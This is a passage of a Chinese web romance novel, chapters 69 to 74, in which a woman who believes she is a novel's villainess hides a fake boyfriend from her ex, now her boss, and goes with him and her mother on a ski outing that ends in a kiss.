傅靳年轻瞥了一眼过去,看到她那模样,发出一记哂笑,腔调慢悠悠道:“是吗。”
江迟鹿在旁边缩着脖子不敢说话。
丛晚笑着开口:“是啊,可能她一心放在学习上吧。我倒是挺开放的,我是说上了大学就可以谈恋爱了,谁知道她这都实习工作了还没有谈恋爱。”
偌大的房间里,空气都陷入了静默。
江迟鹿在心底呐喊——妈,我求你别说话了。
两人说着话,丛晚一时都忘记了旁边还凉着药的事情。
傅靳年抬手,指骨碰上透明的杯壁,感觉温度差不多后,拿起杯子往江迟鹿的方向走。
递过去,略微低沉的嗓音开口:“喝了这个好好睡一觉。”
她垂着头,没敢抬头看人,伸手接过了杯子。
指尖突然碰上他的手指,顿了一下,抬头看到他表情自然平淡,又往她的方向递了一下水杯。
她唇瓣微微抿起,双手捧着水杯,小口喝着。
眼皮撩起往上偷瞄了一眼。
对上傅靳年垂下的眼神,她又快速地低下头。
杯子缓缓见了底。
她都还没有做出什么举动,傅靳年伸手接过她喝尽的空杯子,很随意的,仿佛只是顺手的放在了旁边的边柜桌上。
丛晚将这一切都看在眼里。
“阿姨,那你们好好休息,晚上有事的话直接给我发消息吧。”傅靳年抬了下手机,“手机号码我等会儿微信上发给您。”
江迟鹿原本低垂着的脑袋一下子又抬了起来,不明所以地盯着傅靳年在看,他加了微信还不够,居然还要手机号?
是保证随时能告密吗。
这跟抓了她的致命把柄有什么区别。
丛晚没看到江迟鹿的脸色,开心的和傅靳年交换了手机号码。
等人一出去,她双手抱胸,盯着江迟鹿。
江迟鹿缩了缩脖子,把目光放到了别处。
丛晚也没有多说,叹了口气,过去抱住她,摸了摸额头,“睡吧?”
两人洗漱好躺在床上,江迟鹿缩进妈妈的怀里,闻着她身上早已习惯的香味,心里觉得安稳。
过了一会儿,她察觉到丛晚已经睡着了。
从旁边摸过手机,她背对着丛晚,悄悄缩进被子里,打开了自己的手机。
现在才九点,睡什么啊。
拿着手机把今天没有发送出去的消息发送出去,切换了界面到微博刷热点。
看到周家长子周衍几个字眼,指尖一顿,抱着随便吃瓜的态度点了进去。
一进去就是一张酒店门口的照片。
淞江酒店的门口,周衍站在角落的位置,并不张扬,能被人拍到的原因,估计是因为站在他身边挽着他手臂的人正是现下当红流量女星崔明雅。
崔明雅是出了名的关系户,资源好到爆,虽然演技不行,但凭着那张国民初恋的清纯脸和一出场就被网络各大博主分析穿搭妆面的造型,粉丝数量是同龄竞争流量花中最高的。
这不,仅凭借一张模糊的照片,直接火速冲上了热搜词条。
江迟鹿盯着两人之间毫无缝隙的挽手,皱着眉,在想要不要发给傅今棠看看。
但傅今棠貌似对周衍的事情不感兴趣。
思索一番,江迟鹿还是觉得不能袖手旁观,既然她先看到了那就必须让傅今棠知道。
甩了个链接过去,江迟鹿打字问,这对你会有影响吗。
傅今棠那边过了一会儿才回消息:
-玛德,这货居然敢在外面给我搞出花边新闻来。当然有关系!都知道我们是结了婚的,我可不想被人笑话。
江迟鹿问:
-那你现在怎么办?
傅今棠:
-先联系人把热搜撤下来,让公关部去忙,你今天跟阿姨玩的怎么样呢?我的礼物直接叫人送到阿姨家里了记得让阿姨接收哦。
第六十九章 那也是我江迟鹿不想吃的那块香饽饽。
看这回复,就知道是真的对周衍本人没什么想法,单纯害怕传出不好的新闻影响集团。
江迟鹿回了一个好。
祁柏言的消息从上方弹了出来。
-这样看事情有些麻烦了,不如直接跟阿姨说,让她帮忙瞒着。
江迟鹿无奈的叹了口气:
-怎么跟妈说啊,她能理解吗?
祁柏言:
-不如就说实话,为了你的工作她应该不会乱来。
江迟鹿盯着这个实话愣了一下。
-你疯了吗?说实话?说我们两个当初谈过一段?你想被我妈骂死吗?不,你不会被骂死,我会。
消息发送出去,过了一会儿,江迟鹿才收到对面发送来的消息。
-我的意思不是说我们俩的事。
江迟鹿在被窝里盯着手机顿住,大脑似乎因为缺氧死机了一样,她深吸了一口气。
-那......你的意思是说什么?
-你和傅靳年曾经谈过的事情。
这两条消息几乎是在同一时间发出来。
江迟鹿倒吸了一口气,手指尖都有些发抖,立即打字问:
-你什么时候知道的?
祁柏言:
-不久前。
江迟鹿抱着手机,鼻息在手机屏幕上呼出一层雾气,双目有些发愣。
一时不知道该说些什么。
但好像.....现在最好的解决办法就是对丛晚说自己曾经跟傅靳年谈过。
然后再说出自己为了不再和他扯上关系安心工作,所以骗了他说自己有个男朋友,后面又是祁柏言入职,避免麻烦于是又假装两人并不认识。
她妈......应该会理解的吧。
唉。
-我再想想吧,要是明早前想不出其他的办法,那就只有跟我妈坦白了。
消息发送过去,江迟鹿突然一下想到,如果实话实说,妈妈肯定是要问她分手原因的。
自己又怎么解释呢。
就算不说自己知道了剧情的事情,把责任全部推到傅靳年自己出国并没有没有一条联系上。
丛晚知道了这肯定得炸,然后质问傅靳年。
......可真难办。
她咬了一下指甲,手机从掌心滑了下去。
原本熄掉的屏幕突然亮了。
是傅靳年发来的消息:
-我们之间谈恋爱你不说,你和现在的男朋友谈恋爱也不跟阿姨说?
“啧。”江迟鹿翻了个白眼,本来就烦着呢。
-关你什么事。
发送。
-不是说对他很满意吗?满意怎么不跟阿姨说。
江迟鹿那白眼都要翻上天了。
-请问,关您什么事。
-江迟鹿,其实男朋友那事是骗我的是吧。
指尖紧紧攥着手机壳,她咬了咬牙。
没有再回消息。
那边却还在发消息过来。
-这么久了,就从来没见到过你口里那几乎是满分的男朋友,就是再怎么忙,一当男朋友的,偶尔也得来接一下女朋友下班吧。
“呵呵。”她面庞映上白色的屏幕光,舔了舔唇瓣,回复——
-那你就当我跟他谈恋爱的模式就跟当初和你谈的一样。
酒店某一层的套房卧室内,男人下身围了白色浴巾,裸着上身刚从浴室出来,头上搭着白色帕子,一只手擦着头发,一只手拿着手机在看。
往床方向走的脚步顿住,擦头的动作也停了下来,喉咙溢出一声轻哂。
-心虚了?
她明显在躲避这个话题,如果当初拿出来的那些借口是真的,现在就不会只发这么一句。
等了半个钟头,不见对面再发消息过来。
傅靳年盯着手机,嘴角勾出一抹淡淡的笑。
真的是在骗他。
她恐怕现在使劲揉着脑袋想办法呢。
——
江迟鹿将手机丢出了被子外面,面朝着枕头,两手揉着自己的脑袋。
丛晚都还没说什么呢,先被傅靳年猜到了她有男朋友的事是假的。
到底怎么猜出来的.......
江迟鹿突然想起来傅靳年知道今天是丛晚的生日。
但凡谈个正常的恋爱,女方妈妈过生日,又没什么亲戚,就两个人出来玩,怎么说男方也该陪一陪,但是今天母女俩什么没有一个男孩子出现。
就连手机消息都没有。
是她没考虑周到,应该叫个男人装成她男朋友打个电话来也是好的。
她实在不知道这件事情该怎么办了。
给祁柏言发消息:
-傅靳年知道我编造了个男朋友出来的事情了。
祁柏言:
-刚刚?
江迟鹿:
-嗯
祁柏言:
-那你现在打算怎么办。
她发过去一个叹气的表情包。
-就是因为不知道才来给你发消息的。
祁柏言:
-他知道后什么反应呢?有说什么吗。
这条消息后面跟着一个小猫摸头的安抚表情包。
江迟鹿将手机界面切换到和傅靳年的聊天界面。
打字过去:
-你发这些来是什么意思?
对面显示正在输入中,江迟鹿耐心地等待着。
过了得有一会儿了,对面的消息终于发过来。
-就是单纯戳破你的谎言。
她盯着这条消息目不转睛,下一秒就被气笑了,拿着手机疯狂的打字输出。
缩在被子里,额头都被闷出了一层薄汗,身上也觉得异常的火热。
但她仍然不管不顾地打字发送过去。
-你是觉得我故意说我有男朋友,然后让你放松警惕,接近你?你真是想多了,就算你是块香饽饽,那也是我江迟鹿不想吃的那块香饽饽。
对面淡定的回复:
-我还没猜到你编造一个男朋友出来到底是为了什么呢,现在知道了,原来是这么个原因。为了不让我怀疑你?
江迟鹿当场石化。
她不敢口快的。
傅靳年多了解她啊,这不就看出来了。
第七十章 开屏了
江迟鹿安慰自己,没事,很快就是男女主的重要情节了。
自己这么个小插曲,应该......影响不大吧?
在出差的路上,傅靳年的车遭遇车祸,他陷入昏迷住入医院。
与此同时,女主被恶毒女配......也就是江迟鹿本人下药送去酒店,床上躺着的是一直爱慕女主的男二......也就是周礼。
在女主差点毁去清白时,医院的男主醒来,并且想起来了小时候女主救他的事情,再一联想到自己之前对女主的态度,心里十分懊恼,立即就要去找女主。
去酒店的时候,正好就听到了江迟鹿的密谋,于是解救了女主,顺便开除江迟鹿。
她又开始缩在被窝咬手指了,屏幕白盈的光照在她脸上,原本就白白的脸蛋被光映得又润又盈,看着软软的,微微蹙起的眉头凸显出一抹纠结犹豫。
这个剧情不好走啊,她作为恶毒女配是这段剧情里的主要人物,但是!下药她肯定是不敢下的。
更别说还要算计周礼了,她是疯了才会去算计周礼。
如果没有她的话,貌似这个剧情的主线也能走吧,男主出车祸醒来时恢复儿时记忆,然后直接去找女主。
没有江迟鹿的下药,两人应该也能直接感情升温吧。
是啊,不用非得下药啊。
她抿着唇,牙齿从下唇的内侧磨着,这是她纠结时惯来的小动作。
男主.....有男主光环,他出车祸应该不会真的有事吧?
嗯,这是他的剧情安排。
第二天一早。
她又在酒店楼下遇到傅靳年。
他身上穿着白色的衬衫,领口的扣子松开一颗,随性慵懒,铅灰色的针织马甲,外面是简单版型的毛呢大衣,笔直的西装裤,黑色薄底皮鞋。
头发休闲的顺了下来,感觉年轻了几岁,偏偏气质带着成熟的英伦风。
这副打扮,突然让她幻视大学的傅靳年。
那时候的傅靳年已经属于十分突出的形象了,京大没有人不知道他,喜欢他崇拜他的人很多。
虽然帅,却绝不是平易近人的帅,属实是老实人看他一眼都是偷偷看,生怕被他一个眼神抓包。
敢跟他搭讪的也都是些长得很漂亮的精致的女生。
按理说这样一个在同龄人中不论才华还是颜值都格外突出的人,应该自带一股傲矜之气才是。
他却没有,像一块古朴沉稳的檀木,安安静静的,待在自己的位置,不苟言笑,但周身自有一股让人不可忽略的檀木香,绝对忽视不了他的存在。
突然这样一副打扮。
结合江迟鹿昨天收到的质疑,她心里不禁自恋的想——他不会是为了自己这么打扮的吧。
这个想法一出来,江迟鹿莫名的心跳加速。
她挽着妈妈的手臂,若无其事地从容地走过去,想与他擦肩而过。
她并不打算打招呼的。
谁知道身边的丛晚先打了招呼。
江迟鹿眼神顿了一下,但也不害怕了,她今早特意跟丛晚说了不要告诉傅靳年自己和祁柏言认识的事。
丛晚虽然有些不理解,但向来尊重她。
“早上好,你们去哪?我送你们。”傅靳年斯文地朝两人点头,身上散发的沉稳和贵气十分符合丛晚挑选女婿的眼光。
她脸上是藏不住的笑意,“你忙你的,我们去的地方有些远。”
傅靳年淡笑道:“今天很空闲,没什么事情要做。”
“真的吗?那你要不要跟我们一起去玩啊?迟鹿说市区开了一家超大的室内滑雪场,要带我去玩呢。”
丛晚直接开了口。
江迟鹿抓着她的手臂紧了紧,她也跟没注意一样。
“滑雪场?”他嘴角勾起淡淡的笑意,“正好我也很久没有去玩了。”
江迟鹿盯着他看,从他的眉眼滑落到挺直的鼻尖,再到薄薄的唇瓣,他的唇色是健康自然的颜色,嘴角微微勾一点笑意时,身上沉稳冷矜的气质仿佛突然如古木生出绿芽一样。
特别吸引人,特别有魅力。
尤其......他现在的打扮,还和当初两人在一起时相似。
让她有种不知今夕是何年的感觉。
“那我们走吧,谢谢你了啊小傅。”丛晚拽着她的手用了用力时,她才从眼前这男人的魅力中清醒过来。
轻咳了一声,“妈,你不是不喜欢和不熟的人一起玩吗?我都说好了陪你一起玩的,我们两个.......”
丛晚瞥了他一眼,皮笑肉不笑开口道:“我和小傅哪里是不熟的人了?我们现在很熟了好不好?你到底去不去。”
她盯着她,乖巧微笑,“当然去,你的生日我说好了要陪你的,走吧。”
说完这一句,她往傅靳年那看去,脸上乖巧的表情还没收起来。
她也不知道,她现在的样子在傅靳年看来是十分可爱的。
她的皮肤白,眉毛的颜色淡一些,长长的,弯弯的,眼睛是偏狭长一点的杏眼,瞳仁又亮又润,带着盈盈的光,眼尾微微上翘一些,随便怎么看人都像是带着钩子一样。
但又因为偏圆的鼻尖,微翘的弧度,带着小女孩一样的娇俏可爱,唇瓣也生得好看,像花瓣一样,薄厚适宜,下唇比上唇要饱满一些,唇珠也很小巧饱满。
怎么看都找不出一处的缺点。
是真的好看,又乖又媚的,让人忍不住想抱着她,抱进怀里。
尤其是......在昨晚知道她没有男友后。
心里那种强烈的想要抱她的心思几乎是掩不住的要蹿出来。
在上车的时候,江迟鹿本来想和丛晚一起坐后座的。
但是丛晚将她推去了副驾驶,并且面上十分正经的说:“小傅可不是我们的司机,你跟我一起坐后面把人家当司机啊?所以你坐副驾驶去,而且这大清早的,小傅可能还不太清醒,你得负责跟他多说说话,给他提提神。”
江迟鹿无奈的时候眼睛会笑睐睐的,很虚假的笑,但看着可爱,并不讨人厌。
此时她便用着这种笑盯着自己的妈妈,“您心里那算盘都蹦我脸上来了。”
“啊?”丛晚一脸不知道她在说什么的捂住了自己的嘴巴,摇了摇头,“快去吧,别耽误时间。”
第七十一章 装到了
她深吸一口气,往旁边一看。
呀,帅她一脸。
傅靳年站在距离她很近的位置,已经替她开了副驾驶的门。
此刻微垂着头,敛下那双异常深情的凤眸盯着她看。
她比他矮,这种角度来说,很容易看到对方的不好看的角度,但偏偏傅靳年就是那种361度都找不出一丝丑态的人。
依旧帅得顶级。
不得不说,即便帮忙开车门只是一个很小的举动,但傅靳年这种个高颜顶的帅哥来做就是不一样啊。
心脏跳得都快了些。
不行,压住压住。
嗯,只是面对帅哥的心跳,就算不是他,是其他帅哥来,她也是会心跳加速的。
“谢谢。”她声音有些低,也不知道对面听没听到。
傅靳年的眼睛已经随着她的走动而走动,她进去后,才关上车门,嘴角漾起了一个很淡的笑,不易察觉。
来到滑雪场的进入口,江迟鹿拿出手机把提前订好的票给检票员看。
检票员看过后,往旁边看了一眼,另一个穿着不同工作服的员工走过来带着三人往左边的通道走。
江迟鹿顿了一下,眼神扫过上面的牌子——vip通道。
她往右边看去。
那边还有长长的队伍。
她叫住那位工作人员,轻声开口,“我订的是普通票诶,是不是带错了?”
她原本也想给妈妈订vip票玩的,听说场地会更宽阔更好玩,服务也更周到。
但是这家新开的滑雪场谱大得很,vip票居然不是随随便便能买到,要靠抢,票数还不多,说是为了维护vip客户的体验感,所以限量售票,避免人多。
那位工作人员停下来,她张了张唇,看向傅靳年,“傅总提前吩咐了,已经给你们换成vip了。”
江迟鹿偏头往身后看了一眼,她承认,又被傅靳年装到了。
这种天龙人待遇,旁观的人暗暗厌恶,但当自己身处其中那真是......爽爆了。
丛晚也默默在心里又给傅靳年加了一分。
vip通道的人果然少,一路过去就没有遇到其他的人,进去后人数也稀疏,完全不用担心被别人打扰或者是打扰到别人。
还有工作人员专门准备了干净的新滑雪服,一对一教练,甚至滑累了旁边还有按摩服务。
在工作人员带她挑选滑雪服的时候,傅靳年站在她身边,修长的手指点了下其中一套淡粉色的滑雪服,“很适合你。”
江迟鹿站在那,脑子里没在想滑雪服到底适不适合,想的而是......两人现在这状态,跟情侣到底有什么区别?
他今天就是奔着自己来的吧?
他果然还没有忘记自己?还对自己念念不忘?
江迟鹿强制自己打断了这个话题。
是想以后去擦玻璃扫大街吗?居然敢对男主大人有那种龌龊的想法!
啧,她晃了晃头,伸手去拿傅靳年推荐的旁边的那套淡蓝色滑雪服。
换好滑雪服出来。
江迟鹿突然有点后悔自己刚刚没选那套粉色的了。
因为刚好有个穿那套粉色滑雪服的女孩出来,特别可爱。
粉色真可爱漂亮啊。
她目光被那位长相漂亮的小美女吸引了,多注意了一眼她,见她目光呆滞地看向另一边。
情不自禁的目光也随着她的目光看去。
就看到了傅靳年一米八八的身高穿着酷黑的滑雪服出来,他高也就算了,还比例极好,宽肩窄腰大长腿,像是漫画里走出来的。
“好帅......”那个粉色滑雪服的女孩忍不住喃喃出口。
江迟鹿抿住唇,嗯,他又开始招惹桃花了。
傅靳年目光也第一时间注意到了她,朝着她走来,步伐沉稳,身上不同于以往穿搭的滑雪服衬得他年轻了好多,特别有少年感,配上那张脸.......
好吧,江迟鹿得承认,傅靳年这张脸就是顶帅。
第七十二章 刚刚心跳很快?
江迟鹿还没有任何动作,旁边那位粉色冲锋衣的女孩两只手抱着手机往前走了两步,殷切切的双眼盯着傅靳年看,丝毫不掩饰。
手机递出去,声音带着害羞,“帅哥,可以加个微信吗?”
女孩长得挺漂亮,还是有些自信的,盯着傅靳年眼珠子都不带转动一下的,来不及多了解了,这么帅,就是渣男也认了。
江迟鹿站在旁边,假装拿出手机在看,滑动着屏幕,实际上微信并没有新的消息需要她查看。
她垂着头,一直没听到傅靳年回复的声音,心里忍不住想,这货不会真加了吧?
正想余光去瞥,身前过来一道黑色的高大身影。
缓缓抬头,是傅靳年站在她的面前。
江迟鹿还什么都没说,傅靳年往她身旁靠去,看了那女生一眼。
不用回答,这举动已经足够表明意思。
那个女孩脸色一下子红了,尴尬得想挖个地洞逃跑,低着头不敢看向江迟鹿,哆嗦开口道:“不,不好意思,我还以为.....你们不认识。”
说完,转身便跑了。
江迟鹿抬眼看着傅靳年,“你直接说不加就行了,偏偏要用我当挡箭牌。”
傅靳年垂下眸子,在看她身上的衣服,神色认真。
江迟鹿被他的眼神盯得忍不住低头看自己。
“这身也挺适合你。”头顶的嗓音低沉着传来,很有磁性,这大概就是让人听了耳朵会怀孕的声音吧。
她深吸一口气,“谢谢啊......”
丛晚出来,拉着她走到滑雪区。
宽阔的坡度,前面是简单难度的,后面是高难度的。
一对一的教练是两个男教练,正在手把手教江迟鹿。
滑雪服把人都包裹完了的,江迟鹿没感觉有什么不适。
但某人走了过来,“我教你。”
他的声音干脆利落,带着不容置喙的强势。
江迟鹿眼睫颤了颤。
看吧看吧,果然不是自己的错觉。
他果然还在意自己,不然怎么会主动提出教她,明明有教练的。
不就是吃醋教练离自己太近吗。
这一点倒是没变。
以前就特别爱吃醋,简直醋坛子来的。
大学的时候去食堂排队打饭,中午高峰期的时候很挤,大家难免挤在一起。
傅靳年为了不让她和那些男生挤在一起,就自己一次性打两人的。
京大校园网上还有人研究过一阵他为什么打两份,另一份是给谁的,只是无果。
江迟鹿在食堂外面等。
等他打好饭出来,两人像陌生人一样走到无人的秘密基地,一起吃饭。
现在想来还有些想笑,像偷情?
“不用,我觉得教练教得挺好的。”江迟鹿没给他这个机会。
就算他现在还有一点点在意自己又怎么样。
她长得又美,身材又好,又聪明,还是名牌大学研究生毕业,能进入启恒也是通过自己的面试得到的工作。
她的人生放在普通人之中已经算是妥妥的逆袭了。
就算他是男主,忘不掉自己也很正常。
江迟鹿是拒绝了,谁知道那个教练一听傅靳年要亲自教,再一看这女孩长得这么漂亮,瞬间就明白了两人是什么关系。
“傅总,辛苦了。”他快速往旁边溜了。
丝毫不给江迟鹿反应的机会。
江迟鹿:她恨天龙人。
随便一句话就跟皇帝下旨一样。
丛晚在教练的教导下,已经开始慢慢学着滑了。
距离江迟鹿几步远,她叫了一声江迟鹿的名字,“迟鹿,你愣着干什么呢。来玩啊。”
她盯着自己手里的装备,没动。
旁边一只手握住她的手臂,替她调整姿势。
他只是默默的在她旁边给她调整姿势,江迟鹿却觉得自己的呼吸都乱了。
这个男人是不是喷香水了?
身上的味道怎么能这么好闻,清清冽冽的,像山泉水一样,很干净独特的味道,还有古木的熏香味,淡淡的,让人想抱着狠狠吸一口。
她抓着滑雪杖的手紧了紧。
忍住,这是老天的考验。
一时的男色会毁了一辈子。
她不断洗脑着,眼前这个男人也没什么,同样都是两个眼珠子两个鼻孔一个嘴巴。
顶多是比别人长得好看,顶多是比别人优秀有魅力......
“我学会了!”江迟鹿打断他。
傅靳年:“学会了?这么快?”
江迟鹿冷哼了一声,“我之前滑过,只是好久没滑了有些忘记了而已,你随便教教我,以前的记忆就回来了,我又不是笨蛋。”
傅靳年眉梢挑了下,眼中带着戏谑,像极了那种花心荡子,江迟鹿看了一眼,匆匆别开了目光。
“好了,你让开,我要开始滑了。”
傅靳年往旁边走了两步,点头,“嗯哼。”
下一秒,江迟鹿飞了出去,太刺激了,她忍不住尖叫,“啊——”
刚开始还好,她能稳住,但是越过一个小坡的时候,就感觉身上的重心不稳了,开始往旁边倒。
她已经准备好了摔一下,反正屁股上有个专门垫着的小乌龟,不会很疼。
但是她没摔,旁边一阵风来,黑色冲锋衣的人双手扶着她,两人一起在雪上转了个圈,江迟鹿就重新稳定了。
他凑到她耳边,冰凉的鼻尖擦碰到她单薄泛红的耳廓,嗓音低沉,“笨蛋。”
江迟鹿:......
两人继续往下滑着,她始终被他两只手抱着,满满的安全感,完全不用担心会摔着。
不知道是不是快速下滑的原因,她感觉自己心脏躁动得不行,一直跳一直跳。
偏偏男人的手还横在她胸前。
......他不会感受到自己强烈的心跳了吧。
他不会心里自恋的觉得自己还没忘记他吧。
不行,这也太丢人了啊啊啊。
一圈滑完下来,两人缓缓停下。
江迟鹿呼吸都还喘着气,咽了咽口水,两手紧紧抓着他的袖口,仰着小脸匆匆解释:
“你可千万别误会,我刚刚心跳那么快,纯属是被这速度刺激的!”
傅靳年胸口也微微起伏着,挺直俊拔的鼻尖因为冷空气变得红红的,他垂下眼盯着江迟鹿。
她本来就是粉白皮,鼻尖这会儿已经通红,脸颊也红,不知道她涂了什么,嘴唇粉粉的,还亮亮的,像甜味的果冻。
这会儿黑瞳仁盯他盯得紧,似乎需要他立即附和她的话。
傅靳年缓缓垂头朝着她凑近,眼睛与她平视,“是吗,刚刚心跳很快?”
第七十三章 “你吃醋了吗?”
江迟鹿被他眼神盯得大脑宕机了。
他没感觉到?
大意了,她不该先说的。
以后要小心试探。
“还要滑吗?”傅靳年下颌点了点更大坡度的地方。
江迟鹿只往那边看了一眼就消停了心思,那坡度太大了她不敢玩,“我虽然会,但也没到精通的地步,我还是在我的新手区玩吧。”
傅靳年只问她:“想不想玩?”
“我都说了我......”江迟鹿话还没说出来。
那双手又稳稳的揽在了她腰上,将她一把抱起来。
她低头一看,发现自己的滑雪板不知道什么时候被傅靳年拆了下来,“你......啊——”
一瞬间,他几乎是抱着她冲了下去,比刚才还要刺激十倍,身边的景色只留直直线条,急速闪过。
她紧紧抱着他不敢松手,双腿也夹在他的腰上,整张脸埋在他脖颈锁骨的位置。
倒是实现了前不久心里那龌龊的想法——狠狠吸了一口。
她绝不是故意变态一样吸他身上的香气的。
而是人在紧张状态下,呼吸会无意识加重。
她感受到他皮肤传来的温度,热热的,压在她冰凉凉的鼻尖,像小猫寻到了暖炉,忍不住凑更近。
锁骨的地方又硬,硌在她的嘴唇。
身下又是一个急速下坡,她的牙齿不小心磕在他的锁骨。
有点疼啊,舌尖忍不住去舔牙尖——
锁骨处穿来温热湿濡的软软触感,傅靳年身体僵了一瞬,目光快速下瞥了一眼,只看得到一颗毛茸茸的脑袋,像只依赖主人的小猫一样完全攀附在自己身上。
这个想法在脑中生成,心脏躁动了起来,跳动的速度缓缓加快。
回到休息区时,两人的状态很诡异,谁都没有先开口说第一句话。
江迟鹿在心底后悔自己刚刚不小心磕上去。
她现在解释的话又像是欲盖弥彰,干脆就不说话了。
丛晚看着两人,尤其注意到自己女儿红扑扑的脸蛋,笑了一下,“怎么了啊?怎么看着像是背着我偷偷.......”
“妈,我玩累了,我在这休息一下,你还玩吗?”其实她现在想赶紧逃离这里。
丛晚喝了一口热茶,“我休息一下再玩,教练知道我是第一次接触滑雪,说我学得很快呢。”
傅靳年下意识问:“您没跟江迟鹿一起来过吗?她说她不是第一次滑雪。”
丛晚刚滑了一圈回来,肾上腺素飙升,大脑还处于一个混沌又兴奋的状态,没过脑子话便说出了口,“第一次她应该是跟小言来的吧。”
“妈......”江迟鹿脖颈僵硬地转过去盯着她。
傅靳年捕捉的也很快,追问:“小言?”
“对啊,她的朋友,小时候一起长大的,都是女孩子,平时就爱一起出来玩啊。”丛晚一口气喝下热茶。
还好她反应过来了,吓死了,差点把闺女交代的事情给毁了。
江迟鹿才松了一口气。
听到身旁的人调子里又带着深意的调侃:“认识你几年了,我还不知道你有这么个朋友呢。”
“就是偶尔出来玩一下,也不是很熟,现在都不怎么往来了,这不很正常吗。”江迟鹿抓了抓自己的刘海往后,心虚的垂下眼睛。
倒是丛晚惊讶:“你和小傅认识几年了?我还以为你们是上班认识的呢。”
傅靳年微笑:“她大学认识的我。”
“哇,那是很早了啊?”丛晚看向江迟鹿,“我居然从来没听你提起过,这么优秀的人。”
江迟鹿扯着唇瓣,皮笑肉不笑,“这不是因为太优秀了才不告诉你,不然你以后训我又多了一个别人家的孩子。”
“又?还有谁是别人家的孩子?”傅靳年的声音再次在耳边幽幽响起。
江迟鹿:这人是鬼吗,怎么每次抓重点抓得这么准。
“呵呵,网上那些天才呗,亲戚家的能干小孩呗,多的是。”她敷衍过去。
傅靳年没有再追问,手机震动了一声,他拿出手机来看,似乎是重要消息。
看完后他看向江迟鹿,“明天跟我出差。”
砰——
这句话像个炸弹一样,把江迟鹿内心的小水潭炸翻天。
“出,出出出....出差?”
她感觉自己的脖子上被抵住了一把锋利的剑,稍不注意就会被划破喉咙。
出差?
是那个特定剧情的车祸?
踏马的!男主有男主光环,他不会死,自己可不一定。
她跟去就是送死啊。
“嗯。”他简单应了一声,补充道:“所以你明天不用去公司,我直接开车来接你。”
丛晚在旁边托着下巴看着两人。
太适配了两人。
在工作上,小傅还能帮忙照顾着点迟鹿。
关键是以两人的基因,那生下来的小孩该多好看多乖啊。
丛晚已经开始在脑子里想自己的可爱小孙孙了。
最后是傅靳年送两人回家的。
江迟鹿让丛晚先下车,她还有话要和傅靳年说。
丛晚又是那种露出一脸深意的笑容,“好好好。你们慢慢聊。”
江迟鹿已经麻木了,挥了挥手。
等人一走,她转头看向驾驶座的男人,“傅总,非得我跟您出差吗,我只是一个才来没多久的小员工......要不您换一个人吧?”
“那你觉得,我该换谁?”
江迟鹿一时卡住了。
这时候把谁拉出来就是送谁去死。
那就只有——
“苏轻,她真的很不错啊,我看出来她的工作能力十分之强,一定能胜任您给的这份工作。”
她深吸一口气。
女主也有女主光环,苏轻是再好不过的人选了。
谁知道男人薄唇无情地吐出,“她已经被我辞退了。”
嗯?
嗯嗯?
她瞪大双眼,弯弯的眉毛往上扬了扬,惊讶:“被.......你辞退?”
她像是卡在那。
直到男人的呼吸打到她脸上。
她回过神来,看到倾身过来离自己很近的男人,声音低弱,“你干嘛?”
“江迟鹿,我发现......你特别在意苏轻。”他嘴角上扬了不易察觉的弧度。
磁沉的嗓音问她,“你吃醋了吗?”
噗——
江迟鹿咬牙:“怎么可能,傅总,虽然你知道我有男朋友是假的了,但是有件事我得和你说清楚,我当初骗你,就是不想再和你扯上关系。”
她说出这话,清晰看到男人的脸色沉了下去,眼神晦暗。
她陈胜追击,还要再说什么,唇瓣刚张开。
毫无预兆的,那股清冽的味道压下来。
男人薄薄的唇堵住了她的嘴,强势,极具压迫。
第七十四章 是什么时候背着我偷偷谈的
她愣神之际脑袋要往后撤,被男人大掌桎梏住,只能逼近。
这是一个一点也不温柔的吻,充满了占有侵夺。
江迟鹿感觉自己呼吸困难,腿有些发软。
男人身上清冽的松木气息不停地将她裹挟,占有。
她抬手,抓住压在自己身体上的肩膀。
“你.....唔......”
男人根本不给她说话的机会,紧紧拥住她,又加深了这个吻。
车内的温度逐渐上升,体温也变得滚烫。
她睁开的眼睛缓缓闭上。
那个吻还在继续,她感觉脸上有些冰凉湿润。
心脏一紧,有些麻麻的,像被蚂蚁啃噬一样。
她是难受的,鼻腔又酸又涩。
想到了当初,刚得知剧情的时候。
她其实并没有那么容易接受的。
她一直在等着傅靳年来找自己。
心里像是空了一块一样。
等真正意识到两人不可能的时候,连路上的空气都觉得不好闻了。
她甚至阴暗的想过......把他抢过来。
但是那些充斥在脑子里面的下场画面,无比的鲜活,她不止自己,她还有妈妈。
妈妈辛苦供养她读书,她必须要出人头地,她不想让她失望,不想自己长大了她还要过不好的生活。
所以她不敢去赌剧情的光环到底强不强大。
她承认,在自己的前途和傅靳年之间,她选择了前者。
一道手机铃声打断了两人疯狂发泄般的接吻。
江迟鹿推开他拿起手机接通电话。
是组长打来的,“小江,有个文件我发你了,你整理一下,最好今晚发给我,我这边还有事就先挂了。”
江迟鹿:......
什么恨海情天啊男人啊欲望啊在这一刻都化成了无力。
她抿了下有些发麻的唇,声音很低,“让我下车。”
傅靳年指尖按了一下,“咔哒”一声,江迟鹿的车门开了。
她垂着头走了出去。
进了楼梯,忍不住抬手压在红肿的唇瓣上。
这算什么事啊。
突然就干柴遇烈火一样,接吻起来了。
要是被女主知道了......她不会完蛋吧。
自己这算是偷情吗。
江迟鹿脑子一团乱麻回到了自己的房间,刚躺在床上打算休息一下去工作。
手机上组长又发来了消息。
-抱歉啊,今天是你休假日我还让你工作,文件我自己弄,你好好休息。
后面还跟了一个sorry的表情包。
江迟鹿一秒钟就反应过来这是谁的杰作。
她刚平复下去的心又躁动了起来。
就算没有傅氏太子爷这一层身份,他都已经是极其有魅力的一个人。
现在还成了一句话能当圣旨的太子爷。
更有魅力了。
她到底能忍多久......
万一忍不住了怎么办。
“迟鹿,我做了点暖胃的番茄蛋汤,你喝一碗,今天滑雪在外面还是冷,你喝完去洗个热水澡。”丛晚端着一碗汤放到她床边的小桌子上。
江迟鹿盯着妈妈看,一下子又将那些魅惑人心的事丢弃了。
她坐在地毯上抱住丛晚,“知道了。”
“哎呦,这么大个人了还撒娇,快点喝吧。”
江迟鹿拿起瓷勺,咬了一口酸甜的番茄。
丛晚的声音从耳边响起,“你跟小傅是不是谈过恋爱啊。”
“噗——咳咳。”
江迟鹿一双眸子不可置信,“妈!你说什么呢。”
丛晚冷哼了一声,“你以为你能骗我?说吧,是什么时候背着我偷偷谈的。”
江迟鹿装死,埋头喝着自己的汤。
“哦?不说?我现在就发消息问小傅——”
她说着,拿出手机解锁。
江迟鹿压下她的手机,“是大学的时候。”
“哼,我也猜到了,这有什么好隐瞒的,眼光不错啊,也没说带回来看看,对了,你们是什么原因分手的啊?”
第七十五章 调到他身边
